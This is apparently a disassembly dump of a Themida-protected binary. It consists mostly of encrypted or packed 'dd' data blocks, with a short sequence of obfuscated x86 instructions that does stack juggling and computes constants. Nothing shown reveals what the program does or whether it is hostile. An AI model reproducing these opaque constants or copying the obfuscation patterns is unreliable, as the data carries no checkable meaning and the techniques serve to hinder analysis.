0F50FB4Ch, 0C88h, 68C0F00h, 81000000h, 11FEA7DEh, 8E95729h dd 0F7000000h, 819643EEh, 8F0C6782h, 0DA801804h, 8392B29Ch dd 0B70F02EBh, 0F4B4BF6h, 188h, 0FB81F800h, 0FFFF26F0h dd 0FF8C850Fh, 0A3BEFFFFh, 0E9078A9Ch, 30h, 2971F1F7h dd 0Bh dup(0) dd 0DADE9h, 90DD6800h, 8DE90617h, 68FFF8F1h, 6179235h dd 0F8F183E9h, 92D668FFh, 79E90617h, 68FFF8F1h, 6179359h dd 0F8F16FE9h, 96CC68FFh, 65E90617h, 68FFF8F1h, 61799B0h dd 0F8F15BE9h, 9ABC68FFh, 51E90617h, 16FFF8F1h, 0FE7D3174h dd 1C9B0F46h, 29B02C65h, 6954986h, 0C1A72362h, 36751745h dd 1152F382h, 2D681E9Dh, 4C812AB1h, 0E8A39D90h, 6BDBF35Ah dd 3257DDBAh, 0D9533F7Eh, 5A6FAE62h, 0B4572DE1h, 0CBA78B77h dd 0B823B20Fh, 0DE6E3A6h, 442067FCh, 0ED55542Ah, 9942392h dd 0DC4E502Dh, 92BB0702h, 0ED949423h, 8B60BCB4h, 239226A0h dd 17AEC594h, 7B3BFFD2h, 25DF39h, 5C2D0000h, 324C1EBDh dd 0ADCA01A7h, 0FC2D4DF6h, 0D9CDA967h, 23B33492h, 59CD794h dd 7B670DE0h, 7ED39h, 405F0000h, 89Bh, 4479328Ch, 5D923950h dd 883CFFE1h, 0A1DC9249h, 419A39CCh, 0E38A512Fh, 0F5D6CDAAh dd 1167FC11h, 8C3A6115h, 6F942396h, 0A219BD54h, 0E295B2EBh dd 397B400Fh, 40EFh, 0BD5C5D00h, 0D78D4C1Eh, 0F6B5CBA0h dd 67FC7CDDh, 22493D39h, 942383A4h, 1417E947h, 942383AEh dd 2E0DEA46h, 367F5297h, 0FEEF397Bh, 11F2F069h, 7A314BCAh dd 942337C8h, 0B51B302Ch, 0F7h, 5F04D717h, 0D58E4522h dd 33D5F4A0h, 7CB70BFEh, 0D34F6DCCh, 0DB8403EFh, 24DBFAA6h dd 6B52F4E6h, 80648AFCh, 0FC811DCCh, 0AD566DCCh, 0F1DAC478h dd 4FAB1EA8h, 7B381547h, 0A3BD8FC4h, 0CCFE5AE8h, 895EBA6Dh dd 4A91289Dh, 3202A930h, 0D34F437Ah, 0D806DAEFh, 5875AA61h dd 0FC88B6ABh, 58D45067h, 0DDEFEC0Bh, 0B86CA95Eh, 0D2B99FBCh dd 9E0AC761h, 0CD13B883h, 79D76D7Ch, 0EE0BE725h, 9B1E302Ch dd 4C2EAAE9h, 0E9CB7732h, 2F2B9E11h, 7FFFE00Ah, 4116CD46h dd 43FCD67Ah, 0E2FE620Eh, 3730F375h, 0E0C9DD40h, 0ACAh dd 0B672B555h, 0D652893Fh, 0BD71AA5Fh, 904C893Eh, 0B4286709h dd 74184AB6h, 4F027935h, 671B9A0Eh, 8229B02Ch, 0A29E914Dh dd 0DBEC5BE7h, 56DEBB6Bh, 8B3F7E32h, 0DF83530Ch, 9742C89Bh dd 0B4909ED0h, 0ED22C9C0h, 2A6E409h, 0B8F51B1h, 5CD573E7h dd 324C1EBDh, 0CC7CCB77h, 782F2B6Dh, 9EC297D2h, 0FC7CC6EBh dd 0A2494067h, 0C4C7B96Dh, 9423837Eh, 9AB69A96h, 57EB9EC0h dd 0AF942383h, 96E896B3h, 31E51EC3h, 0D36B1835h, 64942383h dd 0FB9A86BBh, 0F4630F44h, 7720AC43h, 9A21A53Ch, 66CAB6F7h dd 37438E91h, 0F023397Bh, 69000000h, 50447932h, 0F6BCEDDEh dd 82C8E297h, 0FB3AEE65h, 863CFFE1h, 2CDB574Bh, 6DCC8D96h dd 29D5F26Eh, 0A0E18457h, 0F046E0CBh, 0F0976DCCh, 0BFACA1BBh dd 0CB3D9CB5h, 9904623h, 8C792D62h, 0E82E656Dh, 0B5F2A229h dd 0DBCB3390h, 81658136h, 0BC6F916Fh, 6DCC0306h, 210079DEh dd 7A78E253h, 998A8156h, 3D67FCE0h, 3AF10FE1h, 943CA788h dd 63DBF06Ch, 0A349F7FEh, 0E376886Ch, 161A063Dh, 0D66C1F41h dd 2E9E0A6Ah, 0EFA11832h, 45AD9EB0h, 8CC57CFEh, 7CAF9C98h dd 0BC6DEC5Dh, 0CEAB877Bh, 0A0DF9108h, 34E5233Bh, 0B039ED40h dd 972h, 4E0A4DFDh, 6EEA21C7h, 550942E7h, 68E421C6h, 4C003FF1h dd 0FCB0225Eh, 0D77A01BDh, 0EF932296h, 0CA81F8B4h, 4A361995h dd 0DBEEE35Fh, 1EA6036Bh, 8B3F7E32h, 4B822AB1h, 0C9FEA52Eh dd 0F9B02B15h, 3221ABC0h, 39504479h, 3DE15D92h, 805B7A7Fh dd 15B906Eh, 3C8A5EA6h, 9D06FDDAh, 3967FCBFh, 56D17A3Dh dd 0D342F956h, 0C6C59744h, 37D7533Dh, 232F54D9h, 8FBCF19Ah dd 233FF421h, 6873826Fh, 9FB59396h, 0D14D2DE0h, 0B55AE1FFh dd 2FD86378h, 10B73EFAh, 9DF66EDBh, 0ECB8F7EDh, 8D1FBh dd 67AA5C00h, 85BC64F3h, 629B52C9h, 7FBC6FE6h, 59984CCBh dd 699BE7E5h, 45D488C7h, 70E763A4h, 4CCB7FBAh, 0FFEA5E93h dd 0EEB40EFDh, 53506BDBh, 3B7932C9h, 0D6046157h, 0BA668A99h dd 532DAE45h, 0FCDB0B58h, 9DAFAB67h, 0B12D681Eh, 48FAB1CFh dd 0AC943CC9h, 6A209BB0h, 0AE14432Fh, 4F943CC9h, 943CB9F7h dd 66786372h, 0CBECEA3h, 926CC89Eh, 11E625C7h, 98CD7615h dd 0A804F33h, 0A435E140h, 84Eh, 42F639D9h, 62D60DB3h, 39F52ED3h dd 5CD00DC2h, 70EC2BDDh, 28DC0E7Ah, 43E675E9h, 1BCF4602h dd 36ED6CE0h, 5E624D01h, 0DBEF17ABh, 2AF2EF6Bh, 464096D7h dd 1DEFA817h, 0FD792D6Ah, 526104D9h, 77897789h, 0CC4C0EB4h dd 2E6D1F6Dh, 322EDE42h, 2B056E15h, 0EEDF67FCh, 814FA708h dd 180ADF4Ah, 0BB71681Ch, 0A9279B8Eh, 63BF943Ch, 944CCB7Fh dd 0C05CA95Dh, 0B04A411Bh, 54943CA9h, 7BA2CD8h, 0EC23C968h dd 585D8E70h, 0A2603EBh, 0C482293Eh, 83943C61h, 618A6477h dd 2684BFD3h, 3B1D3A02h, 3C588E50h, 0E89F3694h, 90BD8FB3h dd 653A6025h, 74EAFF28h, 0DF1CCF8Ah, 0A11A2F33h, 77CBBEEBh dd 8F943C24h, 6249F18Ah, 6D89C6DFh, 18A39D89h, 0F9494073h dd 1D943C56h, 5B482541h, 943C57EBh, 4AEB8A39h, 963362A2h dd 0B36BAD24h, 0E49C1B8Fh, 0C24EF4B7h, 8584943Ch, 943CC23Dh dd 0C9A55DD9h, 44B2F9ADh, 86943CC2h, 3F8031A8h, 3BFA992Ah dd 85DA4E85h, 99906A71h, 943CC12Ch, 0F3A24ECAh, 85D5DF2h dd 24C16013h, 0ADDBD1C9h, 91CC8239h, 1CF14BCh, 542A0000h dd 2CC37F2Ah, 4723E843h, 432CE260h, 498A3BE8h, 4D29D95Dh dd 0BD5C9430h, 105D4C1Eh, 0AE67FC0Ah, 6A2198B2h, 59D0FE2Ch dd 6A4F1B15h, 0B36BCBECh, 11CDA92Ah, 98A3E18Ah, 0A195C779h dd 5403EFD3h, 1F69B44Ch, 0DA5E99Dh, 296468Ch, 0DFF6AAC6h dd 8639ED2Eh, 5F3A861Dh, 8C69D0FDh, 89B044EEh, 0DCCA8E7h dd 0D691D5Ah, 6DB44BF0h, 0EC6F81B6h, 0E12FE33h, 209B8539h dd 0E0443069h, 6297500Bh, 26B541AEh, 438023B2h, 5A8F384Fh dd 893DFCDEh, 9C2794Eh, 0AC589739h, 1F6011C8h, 1FD3EF73h dd 0EAAA1878h, 437C3180h, 5A8F384Fh, 6DD5D4A6h, 896DD11Ah dd 66FDBEADh, 41E0BF5Ah, 0C90A4885h, 0F95444Dh, 3A1FF441h dd 3A0F4755h, 1995CA81h, 0C0B4E9A2h, 7BBF7D6Eh, 13A95598h dd 0BF13A736h, 251D9936h, 411B3791h, 0D1C8F84Ah, 8C401C6Dh dd 681C5B0Dh, 0BB71E816h, 0C82D9584h, 6DC96DD1h, 0F2E9ED90h dd 0C88D31D8h, 0FD796DD1h, 6DB358E3h, 3A115C46h, 2D4A269Ah dd 447932A9h, 58973950h, 3F782DACh, 528F3453h, 0DD744B9Eh dd 17AE45EFh, 0E085550Eh, 5B77FBA7h, 0DFD0FDDFh, 70AE7414h dd 651E95B2h, 14EA4430h, 0D1C6AD15h, 0DE64276Dh, 366DD1C6h dd 11E6423Ah, 856A6874h, 52A5D6E7h, 0CAB09AAEh, 4E9B1A9Dh dd 9B15872h, 0DB6DD1AFh, 0AEBC0605h, 0EC236DD1h, 61576B35h dd 4419150Dh, 0EF66E23Eh, 780F0338h, 7CEB97D2h, 46FD24BBh dd 829FDD08h, 0A2BE6BA6h, 0C3F8AF26h, 0FC705DCFh, 7A935F5Bh dd 4D69FCD1h, 61CDBC8Eh, 9D6DD1B1h, 0DAD1AFC1h, 6DD1B168h dd 3BB908Ch, 0DF93CE74h, 0FBD50612h, 0D1B1A210h, 5206626Dh dd 447932B4h, 3F9C3B88h, 193D7E2Dh, 0A6A767FCh, 48B234A9h dd 574B2013h, 72B356E5h, 4FF3A27Eh, 0A794234Ah, 6D5A7CBh dd 32A92560h, 512F417Ch, 234AE85Ah, 66A14594h, 738DBAB6h dd 0FF9EC14h, 57AC5A6Fh, 4A411BC0h, 9E135A19h, 0E6B561BDh dd 9E133A58h, 1DB0017h, 233D690Ah, 45312D94h, 3689D46h dd 5E250315h, 0DB7A6B3Bh, 66000004h, 4ECD81C4h dd 6CEB5F96h, 39C07CB5h, 56E55996h, 0D1B773B2h, 66A547B5h dd 81C263F2h, 5D984ECDh, 7CB15AE1h, 38F3CDC0h, 6BDBEA8Ah dd 5CA76D6Ah, 5D4C1EBDh, 67FC1EF8h, 0CD753406h, 299423A2h dd 2E7D294Dh, 9423A291h, 45A03F74h, 397B4B6Ch, 954Ch, 9D8C7200h dd 9423AA25h, 691954FAh, 254F00Dh, 6DCC7C34h, 5B0FCAA4h dd 0E0F57B17h, 6B874AD9h, 409EBBB7h, 31ADE289h, 0B89249D4h dd 0CC0969D1h, 80B89D6Dh, 883BD359h, 0DF514521h, 0BDB80A01h dd 5C6DCCh, 82B770EBh, 0FF40F168h, 0C0F74EAh, 9F538E34h dd 0DECD9FC3h, 6DCCBD7Ch, 0E1F8AC88h, 0EC39F52Ah, 39F00AD1h dd 6DCCBDEDh, 235A1289h, 0BA04533Fh, 986DCCFDh, 2154AE9h dd 0DA0407D9h, 506DCCFDh, 0FDA9E689h, 7EB2ADEh, 783430F2h dd 0A20Fh, 0BD5C7D00h, 0A7324C1Eh, 0F7B4C902h, 67FC1B9Ah dd 0D5F4A07Ch, 0EA37F334h, 513812CDh, 94239CEDh, 0A02209F7h dd 4494239Ch, 130F13E8h, 94C98239h, 4A367115h, 461511E6h dd 94239CFBh, 2FCA691Ah, 397B49DEh, 0E5391D4Eh, 0F4A0D990h dd 6A474B70h, 4C88401Dh, 2000000h, 7F2ABF5Ch, 6DCC7CC3h dd 0DD904723h, 688CE89Ch, 7C2F9396h, 6BC76DCCh, 2C6D20B7h dd 19C653B0h, 7CAA4447h, 6626DCCh, 3CF34B1Ah, 0A2516DCCh dd 51F4C703h, 0DAA3B10h, 0E511F8D2h, 0A19233BCh, 0BC66DCCFh dd 0A27E9233h dword_5C4CC0 dd 327C0ABEh, 0CB04A979h, 23DCFBA7h, 0CEE53AEEh, 1E0DF30Dh ; DATA XREF: Themida_:0054BD80o ; Themida_:0054E21Co dd 6DCC7CA4h, 69A64940h, 0C09DB9BDh, 11C8F198h, 9D1C67FCh dd 7DF9ADEAh, 0D2BE9A60h, 23963B83h, 1C550C94h, 82BD7168h dd 0ED841B8Eh, 7F3A36DFh, 80E490CBh, 9D39D86Bh, 4430651Eh dd 0B9140BE0h, 99397B3Fh, 2Ch, 1EBD5CF3h, 7C745D4Ch, 969267FCh dd 7C03BBEAh, 8EE2943Ch, 0FFDC17CBh, 8D60851Ch, 6D397B35h dd 12Dh, 0E722C893h, 8A22373Bh, 2A447932h, 7CED5554h, 2D096DCCh dd 95374E50h, 0F936D960h, 0CC7CB012h, 61D8546Dh, 0A15571AEh dd 0FCB1812Ah, 0D4F39FC3h, 63A75B2Bh, 29D9E17Ah, 330F33D2h dd 0D0BBA577h, 6DCC6F72h, 0CAC19692h, 6DCC125Ch, 0DCCFFAB1h dd 6DCC7266h, 8123A27Eh, 0EED24E42h, 0CF04BB3Ah, 74374923h dd 6DCC72CEh, 0D02D4A26h, 0D1B89249h, 67FC0108h, 0E022C7BEh dd 70294636h, 0EC08EC1Fh, 0F6BFD912h, 0EF5371A0h, 0F8FF64DAh dd 34F709E3h, 9423D28Eh, 0BED0A66h, 151A2A20h, 8C5EBA9Eh dd 942E772h, 7744191Dh, 382296D5h, 0F1513826h, 159E108Ah dd 8AD07219h, 17129E10h, 9E108AABh, 431FCF4Bh, 3EC41516h dd 4C21513Fh, 399EDD8Fh, 4036AC49h, 0F7C6CFC7h, 82000001h dd 4AD18DD0h, 68EF6BA2h, 45D488C1h, 72E965A2h, 0DDCB7FBEh dd 529133A1h, 6DAE5FD6h, 89C46AF1h, 689D46D5h, 407F9F4h dd 6BDBE5BEh, 32D35956h, 0C8B3F7Eh, 1F4C1E53h, 0DFC4672h dd 6DCCBAB5h, 1AE8D551h, 753446E3h, 6DCC4ACDh, 0A6304D29h dd 1EBD5C20h, 5A7324Ch, 0D9FAB1C6h, 3D67FC7Ch, 934C0FE1h dd 0CE9D895Eh, 94238370h, 0A441E093h, 397B3749h, 0E229h dd 82295700h, 94238FC0h, 99334824h, 8A3B7932h, 0CFE9C9FEh dd 24A34F73h, 0AC2F4180h, 69CDB9F8h, 252E9497h, 6AC66DCCh dd 5CCA918Dh, 0B16DCC58h, 30ABC5FAh, 0B5293E7Bh, 5C487D26h dd 718B5067h, 28269C8Fh, 62BE6DCCh, 73B87385h, 1367FC5Bh dd 5D74F60Eh, 0C27949E7h, 37F3CF0Eh, 3E10CBEAh, 0AC29E4Bh dd 8C33069Eh, 0C218AA61h, 20FC9E11h, 0F7D45044h, 86552703h dd 5527A3E2h, 421D1D18h, 0F106F05Eh, 0E287C66Ah, 40377D1Ah dd 0EB37A074h, 76000000h, 9E1D91D4h, 7CFBAFE6h, 49D08CC5h dd 66F569A6h, 0E1C783C2h, 569537A5h, 71B253E2h, 4D883EBDh dd 2C610A91h, 0C8C3BDB0h, 6BDBE67Ah, 32773D9Ah, 0C100A47Eh dd 0B97551D5h, 0D8548942h, 9131D806h, 756DCC7Ch, 9E24E7F9h dd 766DCC7Ch, 3247DDFAh, 39504479h, 84E15D92h, 95946675h dd 67F78AC8h, 0FBF00A66h, 7445AB16h, 1313E8F1h, 0AFEEA219h dd 0D18A5FC3h, 0F269E51Ah, 49100439h, 0C74ECB8Eh, 7EA73E65h dd 421C90C5h, 0EA96D577h, 0DB57486h, 0E9A74DC9h, 3CE3708Dh dd 0C77C1B07h, 0EF013AEFh, 4DC9863Ch, 0DE025EA7h, 1AEE9332h dd 6C183C71h, 9480B76Dh, 3D721990h, 36CD7649h, 8A29D88Ah dd 9EE88950h, 84A303BCh, 0E3F8DC62h, 0BE7AAF58h, 0A75B9037h dd 113Eh, 0D5774200h, 5FEBC196h, 12AE2C21h, 0C39399A9h dd 80321EA6h, 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh dd 9034533Fh, 8126A551h, 94395044h, 7830A75Bh db 41h, 55h, 0CFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 4 sub ebp, ebx pop ebx xchg ebp, [esp] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi push 7C41h mov [esp], ebx mov esi, 12A101FCh push ecx mov ecx, 622624E3h shr ecx, 6 or ecx, 7F7759A9h sub ecx, 0FC95316h or ecx, 389B24DAh add ecx, 57BA721h sub esi, ecx pop ecx sub esi, 513177AAh add esi, 0C2E352EAh push esp mov ebx, [esp] add esp, 4 push 3732h mov [esp], esi pop dword ptr [ebx+8] mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5534D8 ; --------------------------------------------------------------------------- db 2 dd 22C8FB6Fh, 0EA2E528Dh, 5B9946h, 0CCB81B17h, 306179Bh dd 96E0FFC5h, 0AC134D73h, 820C2F97h, 2431A63Fh, 427B305Bh dd 85015067h, 0FF209A3Ah, 3F215757h, 34FD0E9h, 0D86A9595h dd 804E91BAh, 3D245941h, 39697984h, 0FB1476E9h, 0A20021BFh dd 5D0CADE8h, 0C0736E82h, 0B34062F0h, 6F001DCAh, 0E858BA1Dh dd 10h, 8ED68EADh, 0D880CDC9h, 408BE317h, 0DDAA044Fh, 0EB8A5AF5h dd 68EBC281h, 81660000h, 0BB9713E0h, 1A0Dh, 0A98FD181h dd 32FF49CDh, 5E38F080h, 12E9h, 0E71B2500h, 8AE3083Ch dd 4C1C5F9Eh, 0B010A805h, 81F51CB6h, 0B53400F6h, 0C2BF0F18h dd 4C75C681h, 0BCB17BEBh, 671FEE81h, 665674C8h, 28FCA8Bh dd 10E9h, 68DAD200h, 20E86D04h, 80AAE956h, 8CFF9CDFh, 4EA8381h dd 0F01EB83h, 1F85h, 28A0F00h, 0B0000000h, 29E9C6h, 0D010000h dd 153E4D7Eh, 764FC208h, 444F80BAh, 0B50B4DCDh, 0A76BF66h dd 0FFFF7DE9h, 0B46B43FFh, 0FE8A43C2h, 0F17EE9E2h, 8D2AECADh dd 179E668Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0A7638954h, 0DE8B566Fh, 397F5DBAh dd 0F58D895Ah, 0F061009h, 688h, 0ED8D8900h, 0C7061030h dd 10231985h, 6A2806h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0AE2FDED5h, 0C28B664Ch dd 22C185C7h, 610h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0D6EB0FC3h, 0D628CD61h dd 0AE970h, 546F0000h, 8BFA5B4Bh, 0BECAE279h, 1EB9858Bh dd 0B5FF0610h, 61004E9h, 135D9589h, 95FF0610h, 6102DB9h dd 619B58Bh, 6A0610h, 31C995FFh, 0C08B0610h, 0B33518EBh dd 0E938B032h, 3B7E53F4h, 0B7524C93h, 0E12DAEBEh, 0A398D404h dd 11E995FDh, 0B3000000h, 58C49Ah, 3 dup(0) dd 572E9h, 0AFF29400h, 8DC47CFBh, 6AA34AD1h, 87C467EEh dd 61A044D3h, 5183FFEDh, 6DEC609Fh, 38BF7BBCh, 54E35792h dd 0C7C276ABh, 0E28C36F5h, 8B686BDBh, 243E675h, 79325FE5h dd 7CE75B4Eh, 23FF6DCCh, 0AAC6FBA4h, 6D4784F6h, 85ECF28Ah dd 28DC5774h, 628B75E9h, 0BCD718Eh, 29DE5DD3h, 9B440FECh dd 641BBA66h, 0E79E1D2Fh, 1FC3C2AEh, 3BEB00E4h, 77A4E49Ch dd 461BE453h, 14584838h, 44BA2427h, 0EE2D6917h, 0C39FE1BDh dd 0DA0FB8CFh, 0C3F8AF26h, 0E1144ACFh, 5E0F0643h, 0A329C877h dd 1918B708h, 16ECA272h, 320E3273h, 104BFF76h, 2E691D9Ch dd 0B0E79D1Ch, 39ECEB9Bh, 0B86CAB5Dh, 347FC3C6h, 9B976DCCh dd 0FDE79BB7h, 0E086AF46h, 845729A5h, 71F5A1E0h, 0F328DF5Ch dd 34EF58FFh, 8F306DCCh, 0EE1CF5F0h, 7DFC336Ah, 4E000000h dd 459996D7h, 524B0AC2h, 0D005BE75h, 0AE8A3BFEh, 0EA96BAFBh dd 0E6B57186h, 6DCCAF5Eh, 0A441E0DFh, 336A6349h, 69BD94B9h dd 0C7709D9Ah, 13EB2h, 328C0000h, 7DB93A7Ah, 44296008h dd 6B8795E1h, 286820B7h, 52EBF268h, 3AE60A40h, 0F7ABE89Bh dd 8244DBC4h, 4BD210B7h, 0DA4E0C60h, 0DE422E12h, 639A5209h dd 8CB770E7h, 0CC48259Dh, 8165C16Dh, 1E0DF3CDh, 6DCC48A4h dd 3D07E440h, 0FDA47E32h, 14B9D0C4h, 274B27DBh, 0A3BFFAB0h dd 0F930D8EFh, 942B500Dh, 209CDB8Dh, 0F4C7F299h, 0D36F164Bh dd 336DCC7Ch, 70671B37h, 0EB6E80B9h, 21DDFA39h, 22A43B78h dd 0EF626C29h, 62D9178Bh, 0A25572ABh, 336AEB5Fh, 6B3Fh dd 7E328D00h, 8D34533Fh, 0FBD718B9h, 0E3087407h, 859704C8h dd 85DDA57h, 0B331E207h, 0D66D4E2Bh, 0EA5E9D4Fh, 867AB96Bh dd 487F25B4h, 3803D85Ch, 0F9AA5693h, 13CE2BCAh, 0F3336B08h dd 50h, 3F7E3259h, 4A8E3453h, 4225F136h, 564A26A6h, 9F53883Fh dd 51458428h, 0A22EC55Eh, 58D97847h, 368C7FB4h, 0CE6DCC5Ch dd 2CBA6E52h, 29437A32h, 0DFCAFDB2h, 6DCC7C63h, 0AECBA783h dd 7C1CA9F0h, 94236DCCh, 36B5F8FDh, 195336Bh, 0F7000000h dd 216004D7h, 0A1DA8F4Ch, 8C07BF5h, 2C4125D1h, 8528F8AFh dd 55D45044h, 0A58175B2h, 0EB6D5C1h, 0F9AC2BD7h, 0EC8FCCB8h dd 46FD6755h, 0A6DF86AFh, 9546CD32h, 0D0BBA5BBh, 6DCC7C72h dd 0CAC19692h, 67FC0621h, 0E47789E5h, 76150140h, 9FBC98CDh dd 13FE8DFh, 4B577004h, 813D1987h, 681C51FAh, 23EB8341h dd 40DFC094h, 39F52AE1h, 28CB09C2h, 70A837D3h, 0F1E89CB8h dd 7A11053Ah, 89B092D2h, 0B427B4AFh, 3A77E490h, 46F7210Eh dd 0E017BA71h, 23DE9929h, 0C5A17D94h, 6E059ED1h, 7F16A562h dd 6D80DB6h, 81568D33h, 93AF02BDh, 328F397Bh, 0FD000001h dd 0E183BD5Ch, 4E72EEA2h, 26BC8D7Ch, 0B12867FCh, 0B6D5C1FEh dd 0DCF1D510h, 3F564A26h, 5D75388h, 1B5F53C8h, 23A4D270h dd 11363294h, 805DE803h, 2AE10CB3h, 94232598h, 0D0C4A07Ch dd 894212B9h, 0A0C4A054h, 0F730D5F4h, 9BD68C0Bh, 7211B2E7h dd 6B0A994Eh, 70EC21CAh, 7BDD64ADh, 5A4439h, 5C860000h dd 1E401AC1h, 0CC7CD76Bh, 0A41E0D6Dh, 406DCC7Ch, 1B302CE4h dd 7CDC4645h, 7CF8EDCCh, 7D61E188h, 0AD4EEDCCh, 3D9E3916h dd 7DFA6823h, 3E1A6DCCh, 0A8BBB08Ah, 63DFCA07h, 836DCCF6h dd 0F92C2A7h, 8634ADCAh, 3C000000h, 0EDDB6722h, 0D0746DCCh dd 43EAE191h, 3B11E60Ah, 4C1EBD5Ch, 0FC0C3C5Dh, 0AC3A867h dd 15AD5CF2h, 0F1942306h, 0A26E4875h, 411DDDFAh, 588D3655h dd 83AE55E4h, 23A13A88h, 627EDA94h, 491BD188h, 998D69A6h dd 97BEC09Dh, 9423A02Ch, 3CE57C23h, 627C4E83h, 23A01BA7h dd 4A1FFB94h, 33A82F94h, 414C7219h, 21B89E18h, 39132F70h dd 0BC91CC82h, 0DF14CBCAh, 7312A133h, 0CC9E3DDCh, 2FA7F9DDh dd 0B5290594h, 1EBD5C17h, 0A9D88D4Ch, 0CC7C4002h, 0ACC8A46Dh dd 795F7CF8h, 0F79AAC92h, 0CA353667h, 82D79530h, 68C56489h dd 4E091692h, 0F9AD8979h, 0C1904687h, 611F03C7h, 0E318CF8Ch dd 237F067h, 1C5470Eh, 933637D3h, 8715AD5Ch, 75F1F6D8h dd 7D26A551h, 0A0DF9148h, 6D0497F4h, 5CF3CC5Fh, 0E7F92ED5h dd 0DAB981E6h, 883FC725h, 76FAA6E3h, 0A55EDD61h, 62058470h dd 0CAA6E78Ah, 4B8429B0h, 9C26E557h, 78F6D8A4h, 303D8FCh dd 0E243E291h, 0C138F429h, 794CCC0Ah, 0D05DFD07h, 0E004E019h dd 3A334h, 5F190000h, 3D80326Dh, 64995249h, 3A7519B0h dd 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h, 5B943950h dd 417830A7h, 0B968CF55h, 8900004Eh, 1068242Ch, 8900002Ch dd 8951241Ch, 4C181E1h, 81000000h, 4E9h, 240C8700h, 240C895Ch dd 9E9EBA52h, 89560617h, 5EF389D6h, 6A24685Ah, 24890000h dd 24048124h, 4, 39596859h, 4890000h, 8B824h, 0C8010000h dd 0FF581889h, 81592434h, 4C4h, 241C8B00h, 81E18951h, 4C1h dd 4C18300h, 5C240C87h, 0F8DC67E9h, 0BB8391FFh, 956A9457h dd 0B86548ADh, 617A38Fh, 0E0FFC503h, 437B083h, 61A35CBEh dd 162F142h, 9D19827h, 3D93E9A7h, 7F8E6DA3h, 688E4002h dd 4A0F8C73h, 34C08A38h, 2FE2B352h, 1ABA846Bh, 403BFF65h dd 4C22BAF2h, 0F9037F8h, 37A36544h, 12E8h, 0E6038D00h dd 0B6D62682h, 9A91082Ah, 48E4C6DEh, 0E9B2B5B2h, 0Bh, 0D2C30B13h dd 9435CEA2h, 592A15F0h, 79F1C081h, 0C181109Bh, 5ACBh dd 7DBBD38Bh, 0E8000016h, 13h, 2038018Eh, 51D0806h, 0BE6C8BDFh dd 37DCBEF5h, 0BEAB9C4Bh, 11E815A8h, 0F931FF5Eh, 0F681665Fh dd 0F781561Dh, 76103E50h, 0A980C781h, 0CE811D24h, 3C6996D3h dd 0BC05EF81h, 0C78B09D2h, 81FC3989h, 6E078BE9h, 0C181F807h dd 76E0787h, 81C0BF0Fh, 1EBh, 2C850F00h, 0E9000000h, 13h dd 4B076150h, 0FCE0D4CCh, 0DCCA9805h, 529E2703h, 0E9B03D41h dd 28h, 19B0D9C2h, 0BEA01E23h, 328EF141h, 0E984C89Dh, 0FFFFFF8Dh dd 2A726C9Fh, 86F04F6Ch, 2F6398Eh, 7C7F23C8h, 0D906A34Bh dd 0ECE9h, 0 dd 0E7AC3700h, 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h dd 0E6000077h, 277h, 5 dup(0) dd 0E7A5FD00h, 77h, 2Bh dup(0) dd 600h, 0AE351400h, 2396288Eh, 11424D33h, 0A94BD069h dd 7550B438h, 156636DBh, 0D7D5D432h, 2307D9AAh, 0EA0D583Eh dd 8F9288B7h, 41E58DD1h, 0F6E7E8CDh, 28E3E77Dh, 156628DBh dd 95F99232h, 34EDCAC8h, 7452CF35h, 98DBA153h, 15600127h dd 0A8E58147h, 137644A7h, 457F5632h, 0ADA69A61h, 15668C23h dd 1B03C1BBh, 88EB2422h, 1374A927h, 4D3D5BCDh, 15F3F9B1h dd 61662422h, 0AD354125h, 15668C23h, 1B03C1BBh, 88EB2422h dd 1374A436h, 4D3D5BCDh, 0AA002452h, 74932E36h, 1A07FEB8h dd 15669FB8h, 1574AD32h, 0A89F2232h, 42692078h, 0BB9A7BCAh dd 6DE34111h, 94216ACDh, 156619DBh, 0B3D1C232h, 0FB461455h dd 118AA164h, 4D4215BBh, 156A043Dh, 128F4432h, 7E662232h dd 519EE357h, 0A8E5E9A6h, 1371E164h, 53E22D32h, 75661132h dd 2EDC40B9h, 743B4815h, 981BA7BFh, 0EA9F1725h, 156061E2h dd 5A224432h, 2BE0028Ah, 98CB94BFh, 98698E25h, 15664426h dd 15662DDBh, 26C65832h, 35BBA3CBh, 0B3921207h, 0CB7D14E4h dd 9169C1CDh, 15668833h, 0F0E382C7h, 43603211h, 13E81E52h dd 1A668832h, 156644B8h, 24ABA232h, 0AD347953h, 18F149Ah dd 5C664432h, 9EB59201h, 0F74AA6E2h, 230E440Dh, 0F511C807h dd 1A8C3B4Bh, 156605B7h, 15696132h, 0D5384432h, 0B467EB58h dd 267FB15Dh, 0DE667732h, 50D3BB66h, 0ED60322Fh, 90EC94BFh dd 9C698E21h, 15664435h, 1567A83Dh, 0EA9A1132h, 0CDE7E8E2h dd 7EACC757h, 1564A93Dh, 74061132h, 14EE8753h, 0ED664432h dd 903A7BBh, 1A931722h, 156698B7h, 156DAD32h, 0EBEA2232h dd 7399E7BEh, 4AA150E2h, 80E3833Dh, 15603234h, 0FC661132h dd 15668821h, 82693560h, 0A60A2CD3h, 0FCAF9369h, 26A890D9h dd 0D3482BFDh, 545C7B7h, 7D9E5434h, 9B14E15Bh, 2FB4C552h dd 0E050DD14h, 8CD3EE53h, 1A609826h, 156648B1h, 13EB2D32h dd 1A661132h, 156688BDh, 14E54B32h, 0E9662232h, 2F5494BFh dd 128F8E22h, 15664432h, 48D40256h, 9E69F762h, 15668833h dd 1AB6BBCAh, 156602BBh, 0FFE77132h, 0E0CEC6Eh, 156657DBh dd 96F8B32h, 480B184h, 9013CE2Ch, 0BD5E7D5Ah, 7D1717DFh dd 54E39853h, 1A609826h, 156643BCh, 14EE2D32h, 0E9661132h dd 36830DF4h, 0FC254222h, 1566223Eh, 0E5189752h, 6B18C4EDh dd 1512AD8Ah, 1573AD3Dh, 